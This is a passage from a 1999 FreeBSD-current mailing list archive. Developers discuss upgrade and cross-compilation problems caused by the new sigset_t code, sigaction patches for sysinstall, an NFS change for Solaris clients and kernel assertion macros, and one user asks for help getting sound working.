> > IMHO, the only ``correct'' fix for the latest incarnation of the
> > problem is to finally once and for all fix the cross compilation
> > environment instead of using a half cooked tools: target to deal
> > with certain problems.
> 
> brainstorm:
> 
> Upgrading cannot be solved if it is approached as being nothing more
> than a cross-compilation. This can be easily seen by the following
> cross-compilation prerequisites:
> 
> 1. A compiler C running on machine 1 and capable of generating code
>    for machine 2 (the compiler includes headers and libraries),
> 2. Source code compatible with compiler C, but also with machine 2.

And also compatible with machine 1, that is the bugger right now
it seems.  Have the sources been modified such that they are now
no longer portable :-(.

> The problem is that upgrading can violate the first part of rule 2
> (source code compatible with the compiler), because you have new sources
> (say -current) which you want to compile with an old compiler (say
> -stable). Think of having ANSI C extensions without the proper support
> for it in the compiler.

Okay.

> The current build-tools target tries to solve that by creating a
> compiler C' by using cross-compilation. The result violates rule 1:
> Compiler C' is build for machine 2 and not for machine 1 and therefore
> should not be used on machine 1. This is where the discussion is all
> about.

Then this is an error in the tools target, by design the tools are
suppose to be capable of running on machine 1, and producing code for
machine 2.  Only later when you do the ``make all'' over the tree do
you produce the compiler that runs on machine 2.  Yes, you may end
up building gcc/egcs twice.  Just like you may end up building make
twice.  To solve you above problem gcc/egcs would need to be added
to the tools target probably right after make was built.  

> So, as long as rule 2 is not violated, cross-compilation can be used to
> to build a -current system on -stable and thus also to handle upgrades.
> The problem is in the case where rule 2 is violated. What's needed is
> the ability to "port" the proper tools to machine 1. Well, the first
> thing that comes to mind is the ports collection...

Why should ports have code that is any more portable than what is in
the src tree?  You should just be able to build egcs from the current
sources with the correct options and achive any results you could with
a port.  If you can't, then the src tree has been rendered non-portable.

> Example: If gcc on -stable can not be used to build a -current world,
> then egcs must be installed from the ports collection and build as part
> of the upgrade/cross-compilation. the egcs port does not violate rule 1
> and since egcs is used on -current, rule 2 is also not violated. The
> build process uses egcs to do the cross-compilation.

We did this without the ports collection when we jumped from gcc 1.x to
2.x, and that had some major hoops in it.  One should probably look
closely at the NOTOOLS sections of the Makefile and see how it works
when this is undef.

> This implies that:
> 1. The ports collection must contain ports for all the tools that are
>    needed for doing cross-compilations and/or upgrades from any
> supported
>    source version to any supported target version.

I would amend that to be what has always been true up until now it seems,
the SRC tree must contain all the tools that are needed for doing
cross-compilation, and those tools should be maintained in a portable enough
state that they can be built on box X running OS Y and produce binaries
for box Z.  This is the purpose of the tools build section of the Makefile.

> 2. An easy, yet flexible way must be used to be able to tell whether
>    ports must be installed or not. Simple rules like
> 	".if $source < srcvers .and $target > trgvers .then install egcs"
>    where $source = `sysctl kern.osreldate` and so on, may be sufficient.

Irrelivant, just always build the correct set of tools.  Trying to maintain
a list of the intertwinned dependicies can lead one to madness.

> Am I being clear?
Yes.

> Do I make any sense? :-)
Somewhat, you seem to be headed the right way.

> Does this in fact cover it?
I think it does, as amended by myself.

> Can it be done?
Most likely.

> 
> BTW: I'm running a make buildworld on -stable with -current sources. I'm
> making assumptions I like to see verified...

:-).

> 
> > I furthermore think that if you put your mindset in the frame that this
> > is just another engineering problem you'll come up with the ``right
> > solution'' that will make everyone happy.
> 
> You don't have to be a committer for long to know that you can't make
> everyone happy :-)

:-)

-- 
Rod Grimes - KD7CAX - (RWG25)                    rgrimes@gndrsh.dnsmgr.net


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 11:57:35 1999
Delivered-To: freebsd-current@freebsd.org
Received: from mail1.doit.wisc.edu (mail1.doit.wisc.edu [144.92.9.40])
	by hub.freebsd.org (Postfix) with ESMTP id B22E314F49
	for <freebsd-current@FreeBSD.org>; Thu, 30 Sep 1999 11:57:20 -0700 (PDT)
	(envelope-from rgyip@students.wisc.edu)
Received: from [128.104.48.135] by mail1.doit.wisc.edu
          id NAA86120 (8.9.1/50); Thu, 30 Sep 1999 13:57:19 -0500
Message-ID: <000b01bf0b75$c2b6c3e0$87306880@rickyip>
From: "Rick Yip" <rgyip@students.wisc.edu>
To: <freebsd-current@FreeBSD.org>
Subject: sound etc,
Date: Thu, 30 Sep 1999 13:58:14 -0500
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0008_01BF0B4B.D7075D20"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.3110.1
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

This is a multi-part message in MIME format.

------=_NextPart_000_0008_01BF0B4B.D7075D20
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi!
=20
I have bought the official version of FreeBSD 3.2 and tried to get the =
sound to work but it doesn't.  I tried 4Front's software but that =
doesn't work either.  I get messages that I can't configure /dev/dsp: =
device is busy all of the time.  Somtimes I can't "allocate 32768 M " =
problems.  After reading a how-to on AWE (I have a SoundBlaster AWE64 =
PnP) sound cards http://members.home.net/conrads/awepnp-freebsd.html, it =
still doesn't work.  Then, 4Front said I should try FreeBSD 3.3 but it =
still doesn't work.  I do get an error when I tried using awe0 at 0x620: =
device is not found when the computer boots.  I wonder if that is =
hanging the computer.
=20
Also, your boot cdrom (3.3) doesn't boot.  3.2 does though.  I don't =
know if you are aware of it.  In addition, everytime I reboot, my master =
boot record gets erase to know which partition is made active.  I have =
to boot into dos and fdisk to make the mbr active.  These problems I =
didn't have with 3.2.
=20
Thanks in advance,
=20
Rick   =20

------=_NextPart_000_0008_01BF0B4B.D7075D20
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>

<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type>
<META content=3D'"MSHTML 4.72.3110.7"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV>
<DIV><FONT color=3D#000000 size=3D2>Hi!</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2>I have bought the official version =
of FreeBSD=20
3.2 and tried to get the sound to work but it doesn't.&nbsp; I tried =
4Front's=20
software but that doesn't work either.&nbsp; I get messages that I can't =

configure /dev/dsp: device is busy all of the time.&nbsp; Somtimes I =
can't=20
&quot;allocate 32768 M &quot; problems.&nbsp; After reading a how-to on =
AWE (I=20
have a SoundBlaster AWE64 PnP) sound cards <A=20
href=3D"http://members.home.net/conrads/awepnp-freebsd.html">http://membe=
rs.home.net/conrads/awepnp-freebsd.html,</A>=20
it still doesn't work.&nbsp; Then, 4Front said I should try FreeBSD 3.3 =
but it=20
still doesn't work.&nbsp; I do get an error when I tried using awe0 at =
0x620:=20
device is not found when the computer boots.&nbsp; I wonder if that is =
hanging=20
the computer.</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2>Also, your boot cdrom (3.3) doesn't =
boot.&nbsp;=20
3.2 does though.&nbsp; I don't know if you are aware of it.&nbsp; In =
addition,=20
everytime I reboot, my master boot record gets erase to know which =
partition is=20
made active.&nbsp; I have to boot into dos and fdisk to make the mbr=20
active.&nbsp; These problems I didn't have with 3.2.</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2>Thanks in advance,</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2>Rick&nbsp;&nbsp;&nbsp;=20
</FONT></DIV></DIV></BODY></HTML>

------=_NextPart_000_0008_01BF0B4B.D7075D20--



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 12:22: 2 1999
Delivered-To: freebsd-current@freebsd.org
Received: from post.mail.nl.demon.net (post-10.mail.nl.demon.net [194.159.73.20])
	by hub.freebsd.org (Postfix) with ESMTP id 55761152E9
	for <current@freebsd.org>; Thu, 30 Sep 1999 12:21:55 -0700 (PDT)
	(envelope-from marcel@scc.nl)
Received: from [212.238.132.94] (helo=scones.sup.scc.nl)
	by post.mail.nl.demon.net with esmtp (Exim 2.02 #1)
	id 11Wlm5-0002wu-00; Thu, 30 Sep 1999 19:21:53 +0000
Received: from scc.nl (scones.sup.scc.nl [192.168.2.4])
	by scones.sup.scc.nl (8.9.3/8.9.3) with ESMTP id VAA07053;
	Thu, 30 Sep 1999 21:21:47 +0200 (CEST)
	(envelope-from marcel@scc.nl)
Message-ID: <37F3B84A.B07905AE@scc.nl>
Date: Thu, 30 Sep 1999 21:21:46 +0200
From: Marcel Moolenaar <marcel@scc.nl>
Organization: SCC vof
X-Mailer: Mozilla 4.61 [en] (X11; I; Linux 2.2.5 i386)
X-Accept-Language: en
MIME-Version: 1.0
To: "Rodney W. Grimes" <freebsd@gndrsh.dnsmgr.net>
Cc: current@FreeBSD.ORG
Subject: Re: new sigset_t and upgrading: a proposal
References: <199909301819.LAA23995@gndrsh.dnsmgr.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

"Rodney W. Grimes" wrote:
> 
> > 1. A compiler C running on machine 1 and capable of generating code
> >    for machine 2 (the compiler includes headers and libraries),
> > 2. Source code compatible with compiler C, but also with machine 2.
> 
> And also compatible with machine 1, that is the bugger right now
> it seems.  Have the sources been modified such that they are now
> no longer portable :-(.

I don't think that's necessary. If I have, say, MIPS assembler code,
then I should be able to generate MIPS binaries on, say, Intel. MIPS
assembler code is clearly not compatible with Intel. This is also true
if I would make FreeBSD/Alpha on FreeBSD/i386. I'm speaking true
cross-compilation here :-)

> > The current build-tools target tries to solve that by creating a
> > compiler C' by using cross-compilation. The result violates rule 1:
> > Compiler C' is build for machine 2 and not for machine 1 and therefore
> > should not be used on machine 1. This is where the discussion is all
> > about.
> 
> Then this is an error in the tools target, by design the tools are
> suppose to be capable of running on machine 1, and producing code for
> machine 2.

But how do you know that you can build tools with sources for machine 2
to run on machine 1? You can't make i386 binaries with alpha assembler
sources, for example. To put it differently, isn't this why we need to
port software in the first place?

> Only later when you do the ``make all'' over the tree do
> you produce the compiler that runs on machine 2.  Yes, you may end
> up building gcc/egcs twice.  Just like you may end up building make
> twice.

Yep. Unavoidable.

> > So, as long as rule 2 is not violated, cross-compilation can be used to
> > to build a -current system on -stable and thus also to handle upgrades.
> > The problem is in the case where rule 2 is violated. What's needed is
> > the ability to "port" the proper tools to machine 1. Well, the first
> > thing that comes to mind is the ports collection...
> 
> Why should ports have code that is any more portable than what is in
> the src tree?

It's not that ports have code that is more portable, ports have patches
that are applied as part of the build to make it work on FreeBSD. Also,
ports generally still run configure and friends to avoid compatibility
problems. This have been staticized (sp?) in the source tree.

> You should just be able to build egcs from the current
> sources with the correct options and achive any results you could with
> a port.

But you'll be using -stable headers and libraries (at least, that should
be case). This means that egcs, configured to build and run on -current
may be improperly configured to build and run on -stable.

> If you can't, then the src tree has been rendered non-portable.

That may as well be the case. I can't give a more definite statement
right now.

> > 2. An easy, yet flexible way must be used to be able to tell whether
> >    ports must be installed or not. Simple rules like
> >       ".if $source < srcvers .and $target > trgvers .then install egcs"
> >    where $source = `sysctl kern.osreldate` and so on, may be sufficient.
> 
> Irrelivant, just always build the correct set of tools.  Trying to maintain
> a list of the intertwinned dependicies can lead one to madness.

Hmmm...

Given the 2 cross-compilation prerequisites I gave, it follows that when
the source machine has the proper tools for a cross-compilation, you
don't need to build any tools as part of the build process itself. It
could be advanteous to split a make world into a tools verification and
installation phase, followed by the actual (cross)build. This can maybe
also be used to handle bootstrapping problems on -current itself
(compiling -current on a -current machine). It certainly minimizes
unnecessary compilation and thus minimizes the time needed to do a make
world.

You may be right about going mad if you try to handle the
interdependencies, though :-)

-- 
Marcel Moolenaar                        mailto:marcel@scc.nl
SCC Internetworking & Databases           http://www.scc.nl/
The FreeBSD project                mailto:marcel@FreeBSD.org


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 12:27:47 1999
Delivered-To: freebsd-current@freebsd.org
Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74])
	by hub.freebsd.org (Postfix) with ESMTP id A78FD14D03
	for <current@freebsd.org>; Thu, 30 Sep 1999 12:27:41 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13])
	by wall.polstra.com (8.9.3/8.9.3) with ESMTP id MAA23251;
	Thu, 30 Sep 1999 12:27:40 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Received: (from jdp@localhost)
	by vashon.polstra.com (8.9.3/8.9.1) id MAA26223;
	Thu, 30 Sep 1999 12:27:39 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Message-ID: <XFMail.990930122739.jdp@polstra.com>
X-Mailer: XFMail 1.3 [p0] on FreeBSD
X-Priority: 3 (Normal)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8bit
MIME-Version: 1.0
Date: Thu, 30 Sep 1999 12:27:39 -0700 (PDT)
Organization: Polstra & Co., Inc.
From: John Polstra <jdp@polstra.com>
To: marcel@scc.nl
Subject: Now that sigcontext is gone ...
Cc: current@freebsd.org
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

I'm trying to digest the recent signal changes and get a handle on
what I need to do to make Modula-3 work.  There is code in the runtime
currently which catches SIGBUS and uses the sigcontext's "sc_err"
member to find out the faulting address.  That should be replaced
by the siginfo_t's "si_addr" member.  But as far as I can tell from
grepping the kernel sources, that functionality isn't implemented.

Is that right?  Any ideas regarding a work-around?

John
--
  John Polstra                                               jdp@polstra.com
  John D. Polstra & Co., Inc.                        Seattle, Washington USA
  "No matter how cynical I get, I just can't keep up."        -- Nora Ephron


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 12:42:40 1999
Delivered-To: freebsd-current@freebsd.org
Received: from ns.mt.sri.com (ns.mt.sri.com [206.127.79.91])
	by hub.freebsd.org (Postfix) with ESMTP id 4C551152F6
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 12:42:32 -0700 (PDT)
	(envelope-from nate@mt.sri.com)
Received: from mt.sri.com (rocky.mt.sri.com [206.127.76.100])
	by ns.mt.sri.com (8.9.3/8.9.3) with SMTP id NAA07576;
	Thu, 30 Sep 1999 13:42:23 -0600 (MDT)
	(envelope-from nate@rocky.mt.sri.com)
Received: by mt.sri.com (SMI-8.6/SMI-SVR4)
	id NAA29570; Thu, 30 Sep 1999 13:42:22 -0600
Date: Thu, 30 Sep 1999 13:42:22 -0600
Message-Id: <199909301942.NAA29570@mt.sri.com>
From: Nate Williams <nate@mt.sri.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
To: John Polstra <jdp@polstra.com>
Cc: marcel@scc.nl, current@FreeBSD.ORG
Subject: Re: Now that sigcontext is gone ...
In-Reply-To: <XFMail.990930122739.jdp@polstra.com>
References: <XFMail.990930122739.jdp@polstra.com>
X-Mailer: VM 6.34 under 19.16 "Lille" XEmacs Lucid
Reply-To: nate@mt.sri.com (Nate Williams)
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

> I'm trying to digest the recent signal changes and get a handle on
> what I need to do to make Modula-3 work.  There is code in the runtime
> currently which catches SIGBUS and uses the sigcontext's "sc_err"
> member to find out the faulting address.  That should be replaced
> by the siginfo_t's "si_addr" member.  But as far as I can tell from
> grepping the kernel sources, that functionality isn't implemented.
> 
> Is that right?  Any ideas regarding a work-around?

I'm also very interested in this, so if you could post this information
publically, it would be greatly appreciated....



Nate


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 12:44:40 1999
Delivered-To: freebsd-current@freebsd.org
Received: from lamb.sas.com (lamb.sas.com [192.35.83.8])
	by hub.freebsd.org (Postfix) with ESMTP id A2EF6152EB
	for <freebsd-current@freebsd.org>; Thu, 30 Sep 1999 12:44:27 -0700 (PDT)
	(envelope-from jwd@unx.sas.com)
Received: from mozart (mozart.unx.sas.com [192.58.184.28])
	by lamb.sas.com (8.9.3/8.9.1) with SMTP id PAA15931
	for <freebsd-current@freebsd.org>; Thu, 30 Sep 1999 15:44:23 -0400 (EDT)
Received: from bb01f39.unx.sas.com by mozart (5.65c/SAS/Domains/5-6-90)
	id AA13077; Thu, 30 Sep 1999 15:43:53 -0400
Received: (from jwd@localhost)
	by bb01f39.unx.sas.com (8.9.1/8.9.1) id PAA83056
	for freebsd-current@freebsd.org; Thu, 30 Sep 1999 15:43:52 -0400 (EDT)
	(envelope-from jwd)
From: "John W. DeBoskey" <jwd@unx.sas.com>
Message-Id: <199909301943.PAA83056@bb01f39.unx.sas.com>
Subject: sysinstall/dist.c  sigaction update patch
To: freebsd-current@freebsd.org
Date: Thu, 30 Sep 1999 15:43:52 -0400 (EDT)
X-Mailer: ELM [version 2.4ME+ PL43 (25)]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

hi,

   we're working on a small mod to sysinstall, and we're seeing
the following with the unmodified source since the signal code
going in:

cc -O -pipe -Wall -I/usr/src/release/sysinstall/../../gnu/lib/libdialog -I/usr/obj/usr/src/release/sysinstall -I/usr/src/release/sysinstall/../../sys   -c /usr/src/release/sysinstall/dist.c
/usr/src/release/sysinstall/dist.c: In function `distExtract':
/usr/src/release/sysinstall/dist.c:537: incompatible types in assignment
*** Error code 1

  Patch for new signalling code is below:

Index: dist.c
===================================================================
RCS file: /mirror/ncvs/src/release/sysinstall/dist.c,v
retrieving revision 1.150
diff -u -r1.150 dist.c
--- dist.c      1999/09/19 22:30:38     1.150
+++ dist.c      1999/09/30 19:45:59
@@ -534,7 +534,7 @@
     /* Make ^C fake a sudden timeout */
     new.sa_handler = handle_intr;
     new.sa_flags = 0;
-    new.sa_mask = 0;
+    (void)sigemptyset(&new.sa_mask);
     sigaction(SIGINT, &new, &old);
 
     /* Loop through to see if we're in our parent's plans */
Index: media.c
===================================================================
RCS file: /mirror/ncvs/src/release/sysinstall/media.c,v
retrieving revision 1.102
diff -u -r1.102 media.c
--- media.c     1999/09/02 00:51:13     1.102
+++ media.c     1999/09/30 19:47:37
@@ -677,7 +677,7 @@
     /* Make ^C abort the current transfer rather than the whole show */
     new.sa_handler = handle_intr;
     new.sa_flags = 0;
-    new.sa_mask = 0;
+    (void)sigemptyset(&new.sa_mask);
     sigaction(SIGINT, &new, &old);
 
     while ((i = fread(buf, 1, BUFSIZ, fp)) > 0) {


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 12:45:20 1999
Delivered-To: freebsd-current@freebsd.org
Received: from zippy.cdrom.com (zippy.cdrom.com [204.216.27.228])
	by hub.freebsd.org (Postfix) with ESMTP id C6187150A5
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 12:44:58 -0700 (PDT)
	(envelope-from jkh@zippy.cdrom.com)
Received: from localhost (localhost [127.0.0.1])
	by zippy.cdrom.com (8.9.3/8.9.3) with ESMTP id MAA67919;
	Thu, 30 Sep 1999 12:44:17 -0700 (PDT)
	(envelope-from jkh@zippy.cdrom.com)
To: Joe Abley <jabley@patho.gen.nz>
Cc: Garrett Wollman <wollman@khavrinen.lcs.mit.edu>,
	current@FreeBSD.ORG
Subject: Re: FICL breakage... 
In-reply-to: Your message of "Thu, 30 Sep 1999 22:36:41 +1200."
             <19990930223641.B16798@patho.gen.nz> 
Date: Thu, 30 Sep 1999 12:44:17 -0700
Message-ID: <67915.938720657@localhost>
From: "Jordan K. Hubbard" <jkh@zippy.cdrom.com>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

> Anyway, all good to know. There are almost certainly more perl
> speakers than awk speakers these days, so it probably makes sense
> to do these things in perl rather than awk.

I think that's sort of in the grey area.  There are also many Hardened
Traditionalists(tm) like myself who don't know perl and have no
interest in learning it because everything they ever need to do can be
handled by sh, awk and sed and they spent many years gaining that
level of proficiency with them.  We could color our ls and replace sh
with bash too, but sometimes there's value in retaining the simpler
traditions as you also go forward with the newer tools. :-)

- Jordan


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 12:56:34 1999
Delivered-To: freebsd-current@freebsd.org
Received: from overcee.netplex.com.au (overcee.netplex.com.au [202.12.86.7])
	by hub.freebsd.org (Postfix) with ESMTP id 72E3614F1B
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 12:56:15 -0700 (PDT)
	(envelope-from peter@netplex.com.au)
Received: from netplex.com.au (localhost [127.0.0.1])
	by overcee.netplex.com.au (Postfix) with ESMTP
	id 2834A1CA7; Fri,  1 Oct 1999 03:56:14 +0800 (WST)
	(envelope-from peter@netplex.com.au)
X-Mailer: exmh version 2.0.2 2/24/98
To: John-Mark Gurney <gurney_j@resnet.uoregon.edu>
Cc: Amancio Hasty <hasty@rah.star-gate.com>,
	Marcel Moolenaar <marcel@scc.nl>, current@FreeBSD.ORG
Subject: Re: HEADS UP: sigset_t changes committed 
In-reply-to: Your message of "Thu, 30 Sep 1999 00:32:14 MST."
             <19990930003214.58194@hydrogen.fircrest.net> 
Date: Fri, 01 Oct 1999 03:56:14 +0800
From: Peter Wemm <peter@netplex.com.au>
Message-Id: <19990930195614.2834A1CA7@overcee.netplex.com.au>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

John-Mark Gurney wrote:
[..]
> might as well say goodbye to ever getting freebsd's userland running
> under NetBSD which is how our nice Alpha port got started...  this
> NEEDS to be fixed...

NetBSD have just done exactly the same sort of thing.  And for that matter
it makes no difference for that sort of thing as we used a different syscall
set explicitly in that case.

The only "problem" is that -current libc is tightly bound to the -current
kernel.

How about this as a cheap and robust "solution":
- when building libc, have an option that allows sigaction etc to be
*wrappers* that emulate their functionality through osigaction().  This
means dropping sigaction etc from the assembler function list and use some
C stubs instead.  Call this (say) -DANCIENTTOOLS for the Makefiles.
The objective would be to try not to generate a binary that requires syscalls
that are not present on something like 2.2.x.
- -DANCIENTTOOLS would be both a make define and a C define, so makefiles
  could use .if defined(ANCIENTTOOLS) ... to disable new stuff and C code
  could use #ifdef ANCIENTTOOLS or #ifndef etc.  This would mean it would be
  a lot easier to build make(1) as well since it could avoid using stuff
  that is only in the latest systems.
- this could be used on other libraries (eg: consumers of issetugid())
- what this buys us is we can build the static libraries and build tools with
  -DANCIENTTOOLS and they'll run on anything from 2.2 onwards.
- this can also be used to do some workarounds for old gcc's etc for the build
  tools too.
- this enables us to build the /usr/obj/tmp tree hosted for >= 2.2.x but
  they are -current tools for compiling the *rest* of the system including
  the real build tools.

I think this would solve a lot of chicken/egg problems and would solve the
signal syscall issue thing completely.

So far we've been lucky.  None of the 40-50 odd new syscalls we've added
over the last few years have been used in building the tree, so folks have
had it easy for a while.  Marcel has done *nothing* wrong.  This was bound
to blow up sooner or later when we added a new syscall that was used during
the build.

So how about folks get off Marcel's back and stop running around like it's
the end of the world and lets do a proper workaround.  Rest assured, this
will be resolved with a workaround of some sort or other and will be a
4.0-RELEASE requirement that 3.x-stable can do a source upgrade to 4.0.

Cheers,
-Peter




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 13: 7:41 1999
Delivered-To: freebsd-current@freebsd.org
Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2])
	by hub.freebsd.org (Postfix) with ESMTP id 30FC314D7B
	for <freebsd-current@FreeBSD.ORG>; Thu, 30 Sep 1999 13:07:33 -0700 (PDT)
	(envelope-from dillon@apollo.backplane.com)
Received: (from dillon@localhost)
	by apollo.backplane.com (8.9.3/8.9.1) id NAA13494;
	Thu, 30 Sep 1999 13:07:33 -0700 (PDT)
	(envelope-from dillon)
Date: Thu, 30 Sep 1999 13:07:33 -0700 (PDT)
From: Matthew Dillon <dillon@apollo.backplane.com>
Message-Id: <199909302007.NAA13494@apollo.backplane.com>
To: freebsd-current@FreeBSD.ORG
Subject: NFS mod for solaris committed
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

    Oh, I forgot to email current on this...

    I've #if 0'd out the NFSERR_BAD_COOKIE code that is partially responsible
    for the solaris interoperability problems

    I went through the code very carefully and determined that my previous
    understanding was just plain wrong.  As far as I can tell, the directory
    blocks do not get renumbered by the server so it should be ok to not be
    so strict when dealing with the cookies.

    In anycase, I would like the people with solaris NFS clients who have
    encountered this problem to test with this change before I MFC it from
    current to stable.  It's a very simple patch and you can patch it
    into your -STABLE's (if you are using stable) to test it very easily.

    I would like to know whether this fixes the problem w/ solaris clients.

    It would also be nice if more extensive testing between FreeBSD clients
    and servers were done, but that isn't as critical.  It's very hard to
    reproduce the problem with a FreeBSD client due to the way FreeBSD clients
    scan directories.

    So, synopsis:  The patch has been committed to current but not yet 
    committed to stable.

						-Matt

nfs/nfs_serv.c

revision 1.86
date: 1999/09/29 17:14:58;  author: dillon;  state: Exp;  lines: +5 -1
    Make FreeBSD less conservative in determining when to return a cookie
    error for a directory.  I have made this change after a great deal of
    review although I cannot be absolutely sure that this meets the spec.

    The issue devolves into whether changes in an underlying (UFS) directory
    can cause NFS directory blocks to be renumbered.  My read of the code
    indicates that NFS directory blocks will not be renumbered, which means
    that the cookies should still remain valid after a change is made to
    the underlying directory.  This being the case, a cookie error should
    not be returned when a change is made to the underlying directory and,
    instead, the NFS client should rely on mtime detection to invalidate and
    reload the directory.

    The use of mtime is problematic in of itself, due to insufficient
    resolution, which is why I believe the original conservative error
    handling was done.  Still, there have been dozens of bug reports by
    people needing solaris<->FreeBSD interoperability and these have to
    be accomodated.


Index: nfs_serv.c
===================================================================
RCS file: /home/ncvs/src/sys/nfs/nfs_serv.c,v
retrieving revision 1.85
retrieving revision 1.86
diff -u -r1.85 -r1.86
--- nfs_serv.c	1999/09/17 05:57:57	1.85
+++ nfs_serv.c	1999/09/29 17:14:58	1.86
@@ -34,7 +34,7 @@
  * SUCH DAMAGE.
  *
  *	@(#)nfs_serv.c  8.8 (Berkeley) 7/31/95
- * $FreeBSD: src/sys/nfs/nfs_serv.c,v 1.85 1999/09/17 05:57:57 dillon Exp $
+ * $FreeBSD: src/sys/nfs/nfs_serv.c,v 1.86 1999/09/29 17:14:58 dillon Exp $
  */
 
 /*
@@ -3032,11 +3032,13 @@
 	nqsrv_getl(vp, ND_READ);
 	if (v3) {
 		error = getret = VOP_GETATTR(vp, &at, cred, procp);
+#if 0
 		/*
 		 * XXX This check may be too strict for Solaris 2.5 clients.
 		 */
 		if (!error && toff && verf && verf != at.va_filerev)
 			error = NFSERR_BAD_COOKIE;
+#endif
 	}
 	if (!error)
 		error = nfsrv_access(vp, VEXEC, cred, rdonly, procp, 0);
@@ -3312,11 +3314,13 @@
 		goto nfsmout;
 	}
 	error = getret = VOP_GETATTR(vp, &at, cred, procp);
+#if 0
 	/*
 	 * XXX This check may be too strict for Solaris 2.5 clients.
 	 */
 	if (!error && toff && verf && verf != at.va_filerev)
 		error = NFSERR_BAD_COOKIE;
+#endif
 	if (!error) {
 		nqsrv_getl(vp, ND_READ);
 		error = nfsrv_access(vp, VEXEC, cred, rdonly, procp, 0);



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 13: 9:25 1999
Delivered-To: freebsd-current@freebsd.org
Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2])
	by hub.freebsd.org (Postfix) with ESMTP id 5D829150A5
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 13:09:17 -0700 (PDT)
	(envelope-from dillon@apollo.backplane.com)
Received: (from dillon@localhost)
	by apollo.backplane.com (8.9.3/8.9.1) id NAA13502;
	Thu, 30 Sep 1999 13:09:16 -0700 (PDT)
	(envelope-from dillon)
Date: Thu, 30 Sep 1999 13:09:16 -0700 (PDT)
From: Matthew Dillon <dillon@apollo.backplane.com>
Message-Id: <199909302009.NAA13502@apollo.backplane.com>
To: Matthew Jacob <mjacob@feral.com>
Cc: current@FreeBSD.ORG
Subject: Re: ASSERT macros in the kernel....
References:  <Pine.BSF.4.10.9909301039190.78588-100000@beppo.feral.com>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

:
:I don't seem to see (after not looking very hard) any ASSERT macros for
:the kernel in FreeBSD. It'd be pretty easy to add them, and they're
:awfully useful. They're different from INVARIANT support in that they
:encapsulate (and panic if the assertion is triggered) more inline types of
:conditions.
:
:Any opinions?
:
:-matt

    I don't understand what you want to do.  KASSERT() is the standard
    way to assert something in the kernel, but we do not want to bloat
    the code unnecessarily so KASSERT()s only do something if INVARIANT
    support has been turned on.

    If we need to panic on something whether or not invariant support has
    been turned on, we currently just use a conditional and a panic.

    How would ASSERT be different from KASSERT() ?

						-Matt



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


